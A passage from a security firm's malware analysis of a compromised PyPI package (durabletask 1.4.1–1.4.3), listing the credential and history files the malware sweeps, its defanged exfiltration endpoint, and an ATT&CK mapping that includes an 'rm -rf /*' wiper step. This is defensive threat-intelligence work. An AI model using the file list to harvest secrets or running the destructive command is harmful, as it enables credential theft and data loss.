  • ~/.npmrc

  • ~/.pypirc

  • ~/.git-credentials

  • ~/.netrc

  • ~/.config/gh/hosts.yml

  • ~/.config/claude/claude_desktop_config.json

  • ~/.cursor/mcp.json

  • ~/.vscode/mcp.json

  • ~/.terraform.d/credentials.tfrc.json

  • ~/.bash_history

  • ~/.zsh_history

  • Bitwarden CLI session (bw)

  • 1Password CLI session (op)

  • pass / gopass stores

Embedded keys

  • RSA-4096 public key (PEM): MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAy/uXzJGGCEF39GtSJk9H... (full key in config.py)

Affected Versions

Package

Version

Downloads/month

Status

durabletask

1.4.1

~417,000

Quarantined by PyPI

durabletask

1.4.2

~417,000

Quarantined by PyPI

durabletask

1.4.3

~417,000

Quarantined by PyPI

MITRE ATT&CK

ID

Technique

Why it applies

T1195.002

Compromise Software Supply Chain

Modified builds published to PyPI via a stolen API token, with no upstream GitHub compromise

T1059.006

Command and Scripting Interpreter: Python

All stages are Python; dropper launches rope.pyz via subprocess.Popen at import time

T1543.002

Create or Modify System Process: Systemd Service

pgsql-monitor.service installed with Restart=always to maintain persistence

T1027

Obfuscated Files or Information

All output suppressed via /dev/null; propagation payloads base64-encoded; debug mode disabled in production

T1552.001

Unsecured Credentials: Credentials In Files

90+ hardcoded file paths swept including cloud SDK credentials, SSH keys, and Terraform state

T1078.004

Valid Accounts: Cloud Accounts

AWS IMDS, Azure IMDS, and GCP metadata server queried for IAM credentials

T1580

Cloud Infrastructure Discovery

Secrets Manager and SSM enumerated across 19 AWS regions; all Azure subscriptions and Key Vaults listed

T1021.006

Remote Services: SSH

Lateral movement via AWS SSM SendCommand and kubectl exec to remote EC2 instances and pods

T1041

Exfiltration Over C2 Channel

RSA+AES encrypted bundle POSTed to check.git-service[.]com/api/public/version

T1567.001

Exfiltration to Code Repository

GitHub API used to create public repos and upload encrypted credentials when C2 is unavailable

T1485

Data Destruction

rm -rf /* executed on Israeli/Iranian-locale systems with 1-in-6 probability after audio playback

Ossprey Security flagged all three versions within seconds of each upload. To protect your environment from supply-chain attacks like this one, visit ossprey.com.

SHARE

Subscribe Now

Subscribe Now

Subscribe Now

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.